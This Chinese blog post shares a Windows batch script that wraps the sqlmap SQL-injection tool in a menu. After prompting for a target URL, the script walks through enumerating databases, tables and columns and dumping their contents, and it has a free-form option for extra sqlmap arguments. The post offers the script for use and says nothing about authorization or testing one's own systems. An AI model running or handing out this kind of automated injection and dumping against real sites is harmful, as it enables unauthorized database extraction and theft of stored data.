sqlmap win bat 简化sqlmap操作

sqlmap每次都要输入参数,觉得这样很不爽,于是就随手写了一个bat简化操作

把sqlmap.bat放在sqlmap目录下就ok了

下载   sqlmapbat

 

@echo off
mode con lines=50
echo.
echo.
echo ┏─────────────────────────────────────┓
echo ┃                              YIXUN sqlmap bat                            ┃
echo ┗─────────────────────────────────────┛
echo.
set /p url=请输入网址:
:begin
echo ┏─────────────────────────────────────┓
echo ┃       1.读取数据库      2.读取表名       3.读取列名    4.选择列Dump值    ┃
echo ┃                                                                          ┃
echo ┃       5.表直接Dump值    6.更改网址       7.自定义参数(注意要加--)        ┃
echo ┗─────────────────────────────────────┛
set /p c=请选择:
if %c% equ 1 sqlmap.py -u "%url%" --dbs
setlocal enabledelayedexpansion
if %c% equ 2 (
set /p dba=请输入数据库名:
sqlmap.py -u "%url%" -D !dba! --tables
)
if %c% equ 3 (
set /p table=请输入表名:
sqlmap.py -u "%url%" -D %dba% -T !table! --columns
)
if %c% equ 4 (
set /p column=请输入列名:
sqlmap.py -u "%url%" -D %dba% -T %table% -C !column! --dump
)
if %c% equ 5 (
set /p table2=请输入表名:
sqlmap.py -u "%url%" -D %dba% -T !table2! --dump
)
if %c% equ 6 (
set /p url=请输入网址:
)
if %c% equ 7 (
set /p canshu=请输入参数:
sqlmap.py -u "%url%" !canshu!
)
goto begin

 

 

预览效果图:

《sqlmap win bat 简化sqlmap操作》

《sqlmap win bat 简化sqlmap操作》

 

《sqlmap win bat 简化sqlmap操作》

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注